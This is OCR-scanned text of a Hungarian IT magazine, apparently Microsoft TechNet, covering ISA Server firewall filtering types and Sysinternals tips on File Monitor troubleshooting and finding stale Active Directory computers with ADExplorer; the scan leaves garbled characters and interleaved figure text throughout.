bol mindenképpen meg kell emlitentink még
egy szintén borzasztoan elényods koriilményt.
A halozatok mindegyikében kiilon-ktlon sza-
bélyozhatjuk a forgalmat a tiizfalszabalyok-
kal, azaz - egy nagyon egyszerti példaval
illusztralva - az egyik bels¢ hilozaton meg-
engedhetjiik a felhasznaloknak az FTP-pro-
tokollt, a masikon meg nem, a VPN-hdlo-
zatban meg csak 18.00-tol 23.00-ig. Persze,
koz6s, tetszoleges szdmu halézatra vonatkozd
szabalyokat is gyarthatunk, de igény esetén
killonbségeket is.

A sziirés

A ttzfalaknak értelemszertien a legfontosabb
feladatuk a halozati forgalom sziirése, a ha-
lozatok kozé beékelddve, minden forgalmat
megvizsgilva. A megfeleld, engedélyezett for-
galom atengedéséhez, illetve az dsszes tobbi
explicit blokkolasdhoz ktilonbozé mitkodési
elvi sztirdket hasznal az ISA Server. Ezek egy
része automatikus és bedrotozott, més része
viszont részletesen vagy kevésbé részletesen,
de azért konfiguralhato.

Még mieldtt elmertlnénk a sztirok muiko-
désében, kanyarodjunk el a kicsit a fésodor-
tol a TCP/IP-, illetve a halozati csomagok
apropojan. Mint tudjuk, ma a TCP/IP-proto-
kollkészlet szamit a legelterjedtebbnek, inter-
neten, belsé halozaton és mindenhol mashol
is ezt haszndljuk, ergd egy tlzfalgazdanak
tisztaban kell lennie a mtkodésével, felépi-
tésével. Az ,elfiradt”, be nem fejezett OSI-
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szabvany hét rétegével szemben a TCP/IP-nél
négy réteget kulonboztetiink meg, ,lentrol
felfele” ezek a kovetkezok:

1. Fizikai réteg (Network Interface Layer).
A legmélyebben elhelyezked6 réteg, a TCP/
[P-csomagok fizikai halozatra valo ,felpako-
lasat” és ,leszedését” végzi. Gyakorlatilag vi-
szont ez az a réteg, amelytsl a TCP/IP fiigget-
len, mivel a kiilonbdzé miiveletek a halozati
hardvereszkozok kozott mennek végbe, és
csak ezek fizikai adatai, cimei sziikségesek
hozza.

2. Halozati internetréteg (Internet Layer).
Ebben a rétegben torténik a csomagok cim-
zése, daraboldsa és Osszerakasa, valamint a
hélozatok kozotti ttvalasztas is. A nevét az
itt mikods legfontosabb protokollrél, az IP-
rél (Internet Protocol) kapta. Az IP-csomag
egy fejléchdl és egy tgynevezett payloadbol
(a hasznos adatbol) 4ll, a mikodés szempont-
jabol a fejléc a lényeges, mert ez hordozza az
olyan alapvetd informaciokat, mint a forras-
és célcim, valamint példaul a széllitasi proto-
koll tipusa.

3. Szallitasi réteg (Transport Layer). E
réteg legfontosabb feladata a cél és a for
ras kozotti logikai kapesolat biztositdsa, az
adatdramlés lehetdleg pontos bonyolitdsa. A
legfontosabb protokollok itt a TCP (Trans-
mission Control Protocol) és az UDP (User
Datagram Protocol). A TCP fontos jellem-
z6i a forras- és célport, a Sequence number,
ami a csomagok egyedi sorszdma, valamint

az Acknowledgement Number, amely a foga-

do oldal 4ltal kiildott nyugta és egyben a ko-
vetkezd, venni kivint csomag sorszdma. Az
UDP protokoll a kevésbé sikerorientalt kap-
csolatokhoz passzol (viszont gyors), épp ezért
csak a forras-, illetve a célportot hasznilja.

4. Alkalmazasréteg (Application Layer).
A ,legmagasabban” miikédsé réteg, amely-
ben az alkalmazdsok elérik a tovabbi rétegek
szolgdltatasait, és amelyben definialhaté a
felhaszndlt protokoll (HTTP, FTP, SMTP,
Telnet stb.).

A sziirés tipusai
Az ISA harom alapvet6 sziirési modszert is-
mer, a hagyomdnyos csomagsz{irést, a szintén
altalanosan elterjedt ugynevezett stateful sz(i-
rést, illetve a nem annyira altalanos, de reme-
kiil haszndlhato alkalmazassztirést.
A szimpla csomagsz(irés még a ,mélyben”
a TCP/IP als¢ (halozati és a szallitasi) rétegei-
ben képes megvizsgalni - és aztan ldgyan en-
gedélyezni vagy keményen tiltani - az [P-cso-
magokat. Méghozza tobb kritérium, konkré-
tan a kovetkezék alapjan:
= a cél, illetve a forrascim;
= az [P-protokoll/prokollszam: TCP, UDP,
ICMP, GRE stb.;
irdny: kimend, bejovo, mindkettd (spéci
esetekben, azaz példaul UDP vagy az FTP
protokoll, esetleg csak fogadds, csak kiil-
dés stb.);
port: helyi és tavoli, fix vagy dinamikus.
A csomagszlirésnek egyarant vannak elo-

nyei és hdtranyai, nézziik ezeket tomoren:

= h &
Network

Interface Layer
3

Destination Address: 0003FFD329B0
Source Address: 0003FFFDFFFF

Physical
payload

Internet

i | _Protocol: TCP

| ( Destination: 192.168.1.1
Source: 192.168.1.10

IP payload

Transport
Layer

rDestinatit:ln Port: 80

Source Port: 1159

Sequence: 3837066872
\\Acknowiedgment: 2982470625

>

| (HTTP Request Method: Get
HTTP Protocol Version: =HTTP/1.1
\_ HTTP Host: =www.contoso.com

4. dbra. TCP/IP-rétegek és példak
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= Mivel csak a hilozati és
szallitasi réteg fejléceit
kell megvizsgdlni, ezért
rendkiviil gyors.
Egy-egy konkrét IP-cimet
is blokkolhatunk vagy
engedélyezhetiink a segit-

®

ségével, akar a cél, akér
pedig a forrdscimek te-
kintetében.

Alapértelmezésben hasz-

nalhat6 specialis sziirés-

Send SYN
(seq=100 ctl =SYN)

SYN received

Established
(seq=101 ack=301
cti=ack)

SYN received

send sYN,Ack  (2)
/ (seq=300 ack=101
ctl=syn,ack)

re is, két ilyen extra pél-

dat emlitenék meg, az

ugynevezett ingress, illetve eggress filtert.

Az els6 a ttzfal kilsé IPén tiltja a logi-

kailag a bels6 halozathoz tartozéd IP-cimek

hozzaférését. A masodik esetben pedig
semmilyen forgalmat nem enged ki egy
olyan IP-cimrél, amely nem szerepel a bel-

56 halozat definialt cimtartomanyaban.

Az elényeivel szemben viszont azért van
néhany olyan szituacio is, amellyel nem ké-
pes megbirkozni. Ilyen eset példaul az add-
ress spoofing (a megbizhatd hostgép forras-
IP-cimének cseréje) vagy az utvalasztdsi in-
formaciok cseréje és igy a visszatérd csomag
eltéritése (source-routing attack). A csomag-
szirés nem tekinthetd alkalmazisérzékeny-
nek sem, ami azt jelenti, hogy ha egy adott
alkalmazis szokasos portjat megvaltoztatjuk,
a mondjuk a szinte mindenhol atengedett
szabvany HTTP-portra (TCP 80), akkor a
csomagsz(iré tehetetlenné valik.

De az IP-csomagok fragmentaldsa (darabo-
lasa) és a masodik, harmadik stb. darabban
elrejtett karos tartalom modszerével szemben
is hatastalan, mivel hagyomdnyosan csak és
kizarolag az elsé részt vizsgalja.

Az ISA 2004/2006 kiszolgilokban kozvet
lentil nem tudjuk konfiguralni a csomagsz(i-
rést, ettdl fiiggetleniil az emlitett két TCP/
IP-rétegben zajlo forgalom alapos vizsgdlata
megtorténik. Ha példaul egy thzfalszabdly-
lyal két killonbozoé halozat egy-egy gépe ko-
z6tt minden protokollt engedélyeziink, ak-
kor a csomagsz(iré dolgozik - automatiku-
san. Vagy ha egy olyan szabdlyt krealunk,
amely példaul az SMTP-porthoz tilt minden
hozzaférést, akkor ezt a feladatot is a csomag-
sziird végzi el.

A midsodik integralt sziironk mikodésé-
nek alapja nem a csomagok fejlécének vizs-

galata, hanem a csomagok 4llapota, illetve

5. dbra. A three-way handshake, azaz SYN-ACK-SYN-ACK

el6élete. Ez az un. stateful filtering, amely-
lyel csak és kizarolag olyan csomagokat en-
gediink be példaul a publikus interfészrol,
amelynek mar van multja, azaz egy, a védett
hélozatokbol szarmazé kérésre érkezett meg
vilaszként. Ha nem
igy van, akkor annak ot ot Security &
a csomagnak nincs ke- T

resnivaldja a bels¢ ha-

/ Application Filters ‘wdxﬁtas %

Az ilyen tipusu vizsgalatnak, illetve az
ISA idevigo sziirésének az eldnyei vitatha-
tatlanok, mert minden 4atmend kapcsolat
kezdeményezése esetén hasznalhato (azt is jo
tudni, hogy az ISA 2004-t6l kezdve a VPN-
haldzatok esetén is mukodik). Valamint di-
namikus csomagsziirésnek is tekinthets, mi-
vel akarmilyen porton érvényesiilhet, illet-
ve csak addig kell, hogy éljen a kivalasztott
tetszbleges port, ameddig a kapcsolat is ¢l.
Viszont a szimpla csomagsztirésnél is emlitett
végsd kifogasunk tovabbra is érvényes, mert
az alkalmazasi rétegben, egy legitim HTML-
forgalomban az esetleges rosszindulatu tarta-
lommal szemben béna kacsa ez a modszer is.

Nem csigdzom tovabb a kedves olvasot, joj-
jon a harmadik tipus, azaz az alkalmazdssz(-

rés, amelynek vonatkozdsiaban az ISA Server

tényleg sok pozitivumot képes felmutatni.

MName =

lozatokban  (kéretlen

| Descripton | vendor version |

+Z3DNS Filter

Filters DNS traffic Microsoft (R} Corporation 4.0

vendég), tehit az ISA

+ZIFTP Access Filter

Enables FTP protocols (dient and server) Microsoft (R} Corporation 4.0

elutasitja. “@H.323 Fiter

Enables H.323 protocol Microsoft (R) Corporation 4.0

Ez a vizsgalat a fel- MM Filter

Enables Microsoft Media Streaming protocol Microsoft (R) Corporation 4.0

sébb rétegekben Orté- 2 PNM Filter

Enables RealMetworks Streaming Media protocol Microseft (R) Corporation 4.0

+J POP Intrusion Detection ...

Checks for POP buffer overflow attacks

Microsoft (R) Corporation 4.0

nik meg, azaz csak a :
) PPTP Filter

Enables PPTP tunneling through ISA Server

Microsoft (R) Corporation 4.0

szallitdsi és/vagy az al- e

Enables publishing of RPC servers

Microsoft (R) Corporation 4.0

kalmazdsi ~ rétegben, JIRTSP Fiter

Enables Real Time Streaming Protocal Microsoft (R) Corporation 4.0

mivel a TCP session in- *CASMTP Filter

Filters SMTP traffic Microsoft (R) Corporation 4.0

.., h 1@ SOCKS ¥4 Filter
formdciot hasznalja. A

Enables SOCKS 4 communication Microsoft (R) Corporation 4.0

+J Web Proxy Filter

bevezeté utan elérkez-

Enables HTTP proxy and cache Microsoft (R) Corporation 4.0

tink ahhoz a kilonle-
ges modszerhez, amely
az alapja lesz ennek vizsgalodasnak, azaz a
three-way handshake tritkkhoz: a ,harom-
utas kézfogas™-hoz.

A modszer lényege a kolesonds bizalom ki-
épitése, ami a bels6 kliens és a tavoli gép ko-
zott zajlik a koztiik 1évo ISA szigoru tekintete
altal kovetve. A két gép az egyedi TCP SYN
(Synchronize) és az ACK (Acknowledgement)
szamokat kiildozgetve, ezek értékét mindig
eggyel megnovelve, a harmadik lépéstol kezd-
ve muszaj, hogy nyugtizza egymdsrol, hogy
az el6z6 két lépésben is 6k voltak a kézrazas
résztvevoi. Ha eljutnak iddig, akkor az ISA
kimondja az 4ment, és mehet a rendes for-
galom. De ez még nem minden, a kapcsolat
lebontdsakor is egyeztetnek - biztos, ami biz-
tos -, ugyanezzel a médszerrel (de a SYN he-
lyett a FIN jelzovel).

. dbra. A klasszikus alkalmazdssziirck listdja (ISA 2006)

Az alkalmazasfilterek segitségével az egész
TCP/IP-csomag megnyithato, és nem kizaro-
lag a fejléc, hanem az 6sszes hasznos adat (a
payload) is komplexen vizsgalhato.

E sziirok tobbsége nagyon osszetett, elso-
sorban a protokollszintti ellenérzésben, illet-
ve tartalomsztirésben segitenek, de a komp-
lex protokollok esetén (példaul passziv FTP-
mod, streaming-alkalmazdsok) a helyes mu-
kodésben is. Ezenkiviil naplébejegyzéseket
és riasztasokat is generalhatnak.

Az ISA MMC-ben az 6sszes e kategdriaba
tartozo sz(irdt megtalaljuk a Configuration\
Add-ins pontban, két csoportban.

Az elso csoportba az sszes klasszikus pro-
tokollal kapcsolatos sziir¢ kertilt. Ezeket 4l-
taldban kevésbé tudjuk konfigurilni, erre
jo példaként megemlithetjitk a POP3filtert,

Microsoft TechNet
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SMTP Filter Properties i

Genersl SMTF Commands |

2] x a HTTPAorgalomban bedgya-
26d6 forgalmat, illetve az ezt a
portot hasznéld alkalmazéso-

kat is. Igy aztan mikodnek a

| Commands

fajlcseréld szoftverek, miikod-

AUTH
BDAT
DATA
EHLO
EXPN
HELO
HELP
MAIL FROM:
NOOP
QuiT
RCPT TO:
RSET

'SOOCOCOOOO00 g

Femnove I

nek a webes tizenetkiildok, a
virusok, a férgek és a kémprog-
ramok is, ezek forgalmaba a
csomagsz(ir és a stateful filter

nem képes beleszélni, elvileg

minden szabélyosan torténik,
a fejléc altaldban rendben is
van, a gond inkabb a payload-
dal, azaz a hasznos tartalom-
mal kezdodik.

Az ISA 2004-ben bevezetett
HTTP-filter viszont megoldhat-

ja a problémankat. Nézzitk meg

7. dbra. Az ISA SMTP-filtere

amelybe tobb POP3 sériilékenység figyelése
van ,bedrétozva”, és amely egy felismert ano-
malia/incidens esetén oda is csap, ha kell, vi-
szont Osszesen csak a be- és a kikapcsoldsara
van lehet6ség.

Ennek - a konfiguralhatésdg szempont-

jabol - némiképp ellentéte az SMTPAilter,

ahol az alapértelmezés szerint

tehat egy-egy bovitett mondat-
ban a sztir6 képességeit!

A General fiillésn az URL-
allithatjuk

be, egyet emelnék ki, éspedig azért, mert

lel kapcsolatos restrikciokat

Magyarorszagon komoly problémédkat okoz-
hat, ha bekapcsoljuk. Ez a ,Block high bit
characters”, amely az ASCII 127 feletti karak-
tereket tiltja az URL-ben, és amely - gondol-
junk bele - egy OWA- vagy Sharepointhasz-

az SMTP-parancsokat engedé-
lyezhetjiik vagy tilthatjuk le, il-

letve a parancsok hosszit is sza-

Configure HTTP policy for rule 11

General |Meﬂ’10ds| Exbendmsl Headers I Signatures I

x|

q

balyozhatjuk, azaz elérhetjiik

R t Headers
Maximum headers length (bytes):

I 32768

példaul, hogy egy ,RCPT TO:”
ne lehessen t6bb a szabvanyos
266 béjtnal.

(Megjegyzés. Ha feltele-

—Request Payload
W Allow any payload length

Maximum payload length (bytes):

—

pitjiik az ISA 2004 Message
Screener komponenst, akkor
ez a sz(ird kiboviil majd jo par
tovabbi lehetéséggel. Az ISA

2006-bol viszont ez az dsszete-

—URL Protection
Maximum URL length {bytes):

Maximum guery length (bytes):

I verify narmalization
"™ Block high bit characters

I 10240
I 10240

v kikertilt.)

A masodik csoportban a we-

—Executables
I Blodk respanses containing Windows executable content

bes forgalomhoz kotodd osz-

szes filtert talaljuk meg, tobb

mas fontos sz(ird mellett a leg-

[ ox 1]

Cancel

érdekesebb, a legalaposabban
szabdlyozhato és a legldtvinyo-
sabb a HTTPAilterrel egytitt.

A HTTPHfilter azért fontos, mert ott szfir,
ahol dltalaban sajnos kompromisszumra
kényszertiliink. Ugyanis a 80-as portot szinte
mindenképpen kiengedjiik a t{izfalon, tehat

NOVEMBER-DECEMBER

8. dbra. A HTTP-filter egészen nagy tuddsi

nalat esetén érdekes eredményre vezet majd.
A Methods fiil a HTTP-metodusok haszna-
latit szabélyozza, azaz tetszés szerintieket fel-

vehetiink, példaul egy POST felvitele esetén

az adott tlzfalszabilyban HTTP-hozzaférést
élvezo felhasznalok egyetlen trlapot sem fog-
nak tudni elkiildeni a bongészés soran, de az
ellenségeinknél a GET tiltasa is remek buli.

Az Extensions ful az URL-ben szerepld
kiterjesztések sztirésére hasznalatos, azaz az
altalunk megadottakat tilthatjuk, illetve ext-
rém esetben engedélyezhetjiik.

A Headers fiill a HTTPAfejléc tetszéleges
elemeit blokkolhatja, és olyan tovibbi extra
lehetéségek is itt taldlhatok, mint a webszer-
verlink fejlécének levagdsa vagy cseréje, illet-
ve példaul a ,Via header” beallitas (ez kiillon
megérne egy misét).

A Signatures fiill az egyik leghasznosabb
lehet6ség a fajleserélok vagy példaul a webes
tizenetkiildok ellen.

A mindig egyedi, csak adott tartalomra jel-
lemz6 szignaturak listaba felvételével, majd
tiltasaval alaposan lefékezhetjitk a 80-as por-
ton miitkods, HTTP-be 4gyazott egyéb al-
kalmazisokat. Az ismert szignaturdk listd-
jat megtalaljuk példéaul a kovetkezd cimen:
http://tinyurl.com/v7ewg, de egy Network
Monitorral is barmikor kinyerhet6k az adott
forgalombol.

Ezt a sz(ir6t minden egyes t{izfalszabalyon
akar kilon-killon is alkalmazhatjuk (jobb
gomb az adott szabalyon, majd ,Configure
HTTP?”), az ¢sszes opcidja koziil csak egyet-
lenegy van, amely globalis, ez az als¢ dbran
is lathatdo Request Headers. A HTTPilter
altalaban a belsé halozat tigyfelei és a kiilsd
halozat webszerverei kozott hasznalatos, de
nincs akadilya a bels¢ webszerverek forga-
lomsztrésének sem.

Az alkalmazas- és webfilterek nagyon hasz-
nos szolgalatot tehetnek, gyakorlatilag nél-
kiilozhetetlenek, és szerencsére novekszik a
szamuk is. Az ISA 2004 SP2-ben tortént egy
nagyobb adag bovités, illetve az ISA 2006-tal
is érkezett jo par (j filter a Microsofttol. De
kiils6 gyartok sztirdinek rendszerbe illesztésé-
re is van lehetdség.

Egyetlen hatrdnnyal kell szimolunk ezek-
kel a sztirdkkel kapcsolatban, és ez a meg-
novekedett teljesitményigény, ami logikusan
kovetkezik az alapossagukbol, illetve a széles-
kort alkalmazasi tertiletbol, de azért ne ijed-
jiink meg: ez a terhelés még béven elviselhetd
mértek.

Gdl Tamds
(v-tagal @microsoft.com)
Microsoft Magyarorszdg
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Miért nem fut standard felhasznéléval az Age of Empires 22

Hogyan lehet haszndlaton kivili gépeket keresni az ADExplorerrel?

tthon van egy mir kicsit korosodo, de internetezésre és szdvegszerkesztésre j6 note-
bookom. Mivel a fiaim mar abban a korban vannak, amikor képesek kezelni a gé-
pet, és az osztalytarsak inspirdciojira szivesen jatszanak rajta, ezért kénytelen voltam

egy-két jatékot is telepiteni ra.

Age of Empires Il Expansion

Jatszani is engedve

Mivel nem tul erés géprol van

d

Age of Empires Il Exp 1 has a bl
and needs to close. We are sonry for the inconvenience.

sz6, ezért egy régebbi Age of

If you were in the middle of something, the information pou were working on

Empires-viltozat mellett dontot- :
might be lozt.

tem. Az én felhasznaldi fiockom ) )
Please tell Microzoft about this problem.

‘we have created an emor report that vou can send to help us improve
Age of Empires || Expansion. 'W'e will treat this report as confidential and
ANONYMOUE.

rendszergazdai jogosultsagu, ez-
zel belépve telepitettem, és ki is
probaltam. Hiba nélkal futott

To zee what data thiz emor report contaings, click here,

a program, az emberek szépen

Send Error Report

gytijtogették az élelmiszert, fat,

aranyat és kovet, a katondk meg 1. dbra. Vajon mitél szdllt el a program?
harcoltak derekasan.

Mivel nem szeretem, ha a fiaim hozzaférnek az én dllomanyaimhoz, és nem akarom, hogy
internetezés kozben mindenféle dolgot telepitsenek, igy 6k kiilon felhasznaloi fick nevében
lépnek be, egyszerii felhasznaloi jogosultsdggal.

Amikor azonban nagy ¢rommel el akartik inditani az Age of Empires-t, a felvezeté kis mo-
zifilm és az inditas utan az alabbi cstinya hibatizenettel ,elszallt” a jaték (lasd I dbra).

Muszdj volt kijavitanom a problémit, hiszen apai tekintélyem forgott kockan. Mi lehet a

baj? Mivel mélyrehaté debugoldshoz nem

értek, olyan eszkozt kellett keresnem, amely-

& File Monitor - Sysinternals: www.sysinternals.com
Fle Edit Options Yolumes Help

lyel kiderithetem, hogy hol okoz problémat a

tag, igy a ,switch user” lehet6séggel egyszer-
re tobb fiok is lehetett belépve, természete-
sen a fiam fiokjabol is lehetett volna futtatni
a File Monitort ,run as..."-zel).

Rogton a File Monitor naplébejegyzései-
nek végére gorditettem és onnan kezdtem
el visszafelé¢ nézni, hogy vajon hol van vala-
mi gyanus. Nem is kellett sokat keresgélni,
ahogy az a 2. dbrdn is latszik, a program
a ,Program Files” alatti sajat konyvtardba
szeretne fajlt létrehozni (Create), ami ugye
felhasznaloi jogosultsagokkal nem sikertl
(Access denied).

A megoldas tehat az volt, hogy meg kellett
emelni a Users csoport jogosultsigait a jaték
telepitési konyvtarara, és igy mar viddman
tudtak csatazni, és a File Monitor segitett

apai tekintélyem megdrzésében.

Haszndlaton kivili gépek keres
ADExplorerrel

A Systems Management Server segitségével

se

képesek vagyunk egyszertien kigytjteni azo-
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, , . . " 1277 000005559 ) age? x1 exe:2480 DIRECT.. C:\Program Files\Microsoft GamesiAge of Empies [1\savegamey NO SUCH FILE FileBathDirectarylnf.
A vialasztas a sysmternals egy1k eszko- 1273 00016872 20e2_) exe:2480  CREATE  C:\Pragram Files\Microsoft Gamesiage of Empires [Ibdatabinadhai petersen rules per ACCESS DENIED  SDOST-HOME'Be..

. : ; . 1283 000078565 — age2 ¢l ene:2480 CREATE C:\Program FilesMictosoft Gamestage of Empires l\dataNoachpetersen upgrades per ACCESSDENIED  S0DSTHOMEBe..
zere, a File Monitorra esett. A felhaszna- 1285 000123838 ) age? ¢ exe2480 CREATE  C:\Program Files\Microsoft Games\Age of Empies Il\datshlnad\petsrsen fishbaat per ACCESS DENIED  5S005T-HOME\Be:
o i Lo . 1287 000062243 — age2 sl ene:2480 CREATE C:\Progtam Files\Mictosoft Gameshage of Empites I\datahloadhpeteisen dip iar.per ACCESSDENIED  SODSTHOMEBe..
loi fiockommal belépve elinditottam a File 1283 DO0177173 ) age? ¢l ene:2480 CREATE C-\Program Filee Mictasoft GamsetAge of Empites I\datablaadhpetsisen warbost per ACCESS DENIED  S0DSTHOME'Ba
1231 0.00098521 % age?_kl ene:2480 CREATE  C:\Program Files‘Mictosoft Gameshage of Empites I\dataNloadhpeteisen supplemen per ACCESSDENED  SODSTHOMEBe..

: . “ : 1233 000038343 ) age? ¥l exer24B0 CREATE C-\Program Filesiictasoft Gamse\has of Empires [\databloachpeteisen dificuly oads per ~ ACCESS DENIED  SODST-HOME B
Monitort. Természetesen rogton elkezdte ki- 1295 DODBTI02 | agel #l.eve:24B0 CREATE C:\Program FilesMicrosaft Gameshage of Empies l'datahlnadspetersen fulltech.per ACCESS DENED  S005T-HOMENEe.
. ) . o . . 1237 DO00B3201 — age2 ¢l ene:240 CREATE C\Program Files Mictasoft GamsetAge of Empires 1\datablaachpetersan map loads per ACCESSDENIED  SODSTHOME'Ba
Jelezmafz’l]laknwtésokat: virusirto, Windows 1299 Q00039027 ) agel vl eve:2480 CREATE  C:\Progiam FilestMicrosoft GameshAge of Empires Il\databloadhpeteisen civ loads.per ACCESS DENED  SO0STHOME\Be..

Defend hpad 16 d loal 1303 000106238 _ e w1 exe:2480) CREATE  C:\Program FilesMicrasoft Gamestge of Empires Il\datatloachpetersen diplomacy per ACCESS DENEED  SOOSTHOME'Be:
etender, touchpad-vezerlo, rendszerszolgal- 1305 000038552 ) aged xl.exe:2480 CREATE  C:\Program FilesSMicrosoft Gamestage of Empiies Ihdatabloadhpetersen castle.per ACCESS DENIED  SO05T-HOME\Be..
I J Und b, sth. d K 1307 000084333 % 2083 1 exe:2480  CREATE  C:\Program FilestMictasoft Gameshdgs of Empirss ll\databloadhpetsisen resian per ACCESS DENEED  SO0ST-HOME'Bs:

4 i 1309 QODUSBS7S — age?_ vl .exe:2480 CREATE  C:\Program FilestMicrasoft GamesiAge of Empies Il\datatload\petersen wander.per ACCESS DENEED  SOOST-HOME'Be..
tatasok, Windows Update stb. stb., de eze 1311 DOO0EI544 I sge? wlene2480 CREATE C:\Program FilesiMicrosoht Giamesibiae of Empies ll\datatloadipetersen market. per ACCESS DENED  S005T-HOME'Be:
. ; . » 1313 000074535 ) age?_wlevei2480 CREATE C\Program FilesiMicrosolt Gamesibge of Empires llvdatatloadtpetersen dip boome. per ACCESS DENED  SOUST-HOME'Be.

engem nem érdekeltek, igy yexkludaltam 1315 000226425 _ 02 vl eve2480 CREATE  C:\Program Files'Microsoht Giamesiige of Empies ll\datatloadtpetersen gather. per ACCESS DENED  S005T-HOME'Be:
1317 000047257 ) age?_xlevei248) CREATE  C:\Progiam FilesMicrosoft Gamesvage of Empires Il\datatloadhpeteisen dip feeder per ACCESS DENED  SOUST-HOME'Be..

Sket a megﬁgyelésbél 1313 DO007E0B5 | g2 wlewe2480 CREATE C:\Program FilestMicrosoht Giamesibae of Empies ll\datatload\petersen qioups. per ACCESS DENEED  S005T-HOME'Be:
. 1321 000108662 ) ageZ_wlevei2480 CREATE  C:\Program FilesiMicrosalt Gamesibige of Empires ll\datatloadhpetersen dip insult.per ACCESS DENED  SOUST-HOME'Be.

K .1. X R .1, .. 1323 DOOO3E77E | 02«1 ewe:2480 CREATE  C:\Program FilesMicrosoft Gamestige of Empies ll\datatloadhpetersen dip buly. per ACCESSDEMIED  SO00ST-HOME\Ee:

Atleptem a fiam flol(]aba, inditottam a ja- 1325 000073576 ) agel_wlevei2480 CREATE C:\Program Files\Microsolt Gamesiige of Empies ll\datatload\petersen warboat idand.per  ACCESS DENIED  SO0STHOME\Ee..

1327 000094789 % 2062 #1 exe-2480 CREATE  C:\Program Files‘Microsoft GamesvAge of Empies lI\datatload\petersen tush.per ACCESSDEMIED  SO005T-HOME\Be:

4 3 iha i ; 5 1329 000038524 ) agel wlevei2480 CREATE C:\Program Files\Microsolt Gamesihige of Empies ll\datatloadiandomgame. per ACCESSDEMED  SO0STHOME\Ee.
tekot, megvartam a hibat, ma]d Vlsszaleptem 1331 DOODB3S02 | 0wl eve2480 CREATE  C:\Program FilestMicrosoht GamesvAge of Empies ll\datatload\petersen constants. per ACCESSDEMIED  SOOST-HOME‘Be.

1337 000050370 | age? «1exe:2480 OPEN
Monitor, és regisztrilta az age2_xl.exe fo- X j

1261 000041402 | g2 vl eve2480 CREATE  C:\Program FilesiMicrosoht Giamesiige of Empies ll\datatloadhpetersen deathmatch per

1301 000074227 ) 02wl eve:2480 CREATE  C:\Program FilestMicrasoft Gamesige of Empies Il\datatloadhpetersen tower per

., , L. . 1333 0000SB47E | sge? ¢l exe:2480 CREATE C:\Program FilestMicrosoft Gamestage of Empies ll\datahloadiwonder ush. per
a flokomba, ahol meg mmdlg futott a Flle 1335 000038323 1 age? «1.exsr2480 CREATE  C:\Program Files\Microsoft Gamesihge of Empires 1\datasloadhwonder kil per
C:\Frogram Files\Microsoft GamestAge of Empites ll\datatload\FandomG ame.per

ACCESS DENIED  SO0ST-HOME'Be.

ACCESS DENIED  SO05T-HOME'\Be.

ACCESS DEMNIED
ACCESS DENIED
NOT FOUND

S00ST-HOMENE=:

SO0ST-HOME Be:

Options: Open Aec. ¥
|

lyamat fajlmtiveleteit (a gép nem tartoményi 2. dbra. Vizsgdljuk a fajlmiveleteket File Monitorral!

R
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kat a szdmitdgépeket, amelyek hasznalaton
kiviill vannak egy ideje. De vajon ehhez az
egyszer(i informdciohoz csak egy komoly,
nagy rendszermenedzsmentszoftverrel lehet
hozzajutni?

Kivancsi voltam, hogy az Active Directory
adatbazisa nem rejtegete ilyen jellegi infor-
maciokat?

Elsé probalkozidsom az Active Directory
Users and Computers eszkoz volt. Nézegettem

a gépem objektumdnak tulajdonsdglapjait:

TIBOR Properties

MemberOf |
| secutty |

| General I Operating System |

| Delegation | Location | ManagedBy | Obiect

Canonical name of object:

Object class Computer
Created 2005. 11. 10 14:01:07
Modffied: 2007. 10. 19. 8:57:10

Update Sequence Numbers {USNs):
Cument 12780029

Original 51331

3. dbra. A szamitégépfiok tulajdonsdglapja

De itt ilyen jellegli informacié nem volt.
Van egy viszonylag friss ,Modified” attri-
butum, de ez nem biztos, hogy kapcsolodik
a gép tényleges ,életéhez”. Elo a sysinter
nals egy Uj és nagyon praktikus eszkdzét, az
ADExplorert!

Hopp4! Van itt egy lastLogon, meg egy

lastLogonTimestamp attribatum is (4. dbra).

W ctive Directory Explorer - Sysinternals: www.sysinternal

Na de melyiket vegyiik alapul? Ha visszate-
kintiink a 3. dbra Modified értékére, latjuk,
hogy ez a lastLogonTimestamp-pel egyezik.
De vajon miért! Kis utana olvasassal (ldsd az
elérési utvonalat a kiilon keretben) kidertilt,
hogy a lastLogon a pontosabb érték, de a baja
az, hogy nem replikalédik a tartomanyvezér-
6k kozott, igy ha legalabb két DC-nk van, ak-
kor félrevezethet minket. A lastLogonTimes-
tamp replikalodik, viszont nem annyira pon-
tos, akar 14 napot is tévedhet. Ha tényleg a
régen bejelentkezett gépekre vagyunk kivan-
csiak, akkor ez nem jelent akkora problémat.

Ezzel mindjart valaszt kapunk arra is,
hogy a Modified érték miért a lastLogon-
Timestamp értékkel van szinkronban: a rep-
likacio miatt.

Viszont a probléma most mar az, hogy ho-
gyan tudunk keresni erre a paraméterre! Ha
ADSIEdittel néziink rd4 ugyanerre a paramé-
terre, akkor egy r6fos szamot latunk (5. dbra).

Hogyan lesz a 128372506160973746 szdm-
bol 2007. 10. 25. 1:06:18? Szintén a hivatko-
zott linken megtaldljuk a magyarazatot: az
1601. 01. 01. ota eltelt 100-nanoszekundu-
mok adjik ki azt a nagyon nagy szamot.
Sajnos az Excel datumformatuma nem tud
ilyen régi ddtumokat tirolni, de a fenti di-
tum és szam parosianak segitségével végiil
is barmilyen ,mostani” ddatumhoz tartozo
hosszt, 8 bijtos egész kiszamolhato. gy pél-
daul a 2007. oktober 1. elétt bejelentkezett
gépekre az alabbi LDAPlekérdezéssel lehet

ralelni:

(& (objectCategory=computer)(lastLogonTimestamp <=
128351730380973000))

om [k-dc3 [k-dc3.kfki..

Fath: | CN=S00STIBOR,0U=IQJE,0U=Workstations,DC =kfii, DC=corp, k-dc3 [k-dc3.kfki. corp] |

Syntax = Value(s) o
DirectoryString 1 SOOSTIBORS

DN 1 CN=5005TIBOR,OU=I¢
DirectoryString 1 soostibor. kfki.corp =
GeneralizedTime . 2007. 10. 08. 12:20:34
Integer 1 4 F
Boolean 1 FALSE

Integerd 1 0x0

Integerd 1 2007. 10. 25. 1:06:18
Integerd : | 2007. 10. 19, 8:56:56
Integer 1 0 =

B

File Edit Favorites Search Compare History Help
F KF J - v
El@ QU=Workstatior A | Attribute
goenr | e
= By Qdistinguishedhlame
= e @dNSHostName
b= AR @dSCcrePropagaﬁonDam
ou—cas B @insmnceType
Pl [ isCriticalSystemObject
g Oht-csom || [#lastlogoff
(&3] ou=IcoN la=tLogon
: g CN=IPS-TES @Iastl_ogon'ﬁmesiamp
B@ oU=IQB QlomlPoliqulags
T — PR | S SR
(_ (i | l (_ i
CN=500STIEOR, OU=1018, 0U=Workstations,DC=kfki,DC =corp, k-dc3 [k-dc3.kfki.corp]

4. dbra. Az ADExplorer eszkéz bevetés kizben

N

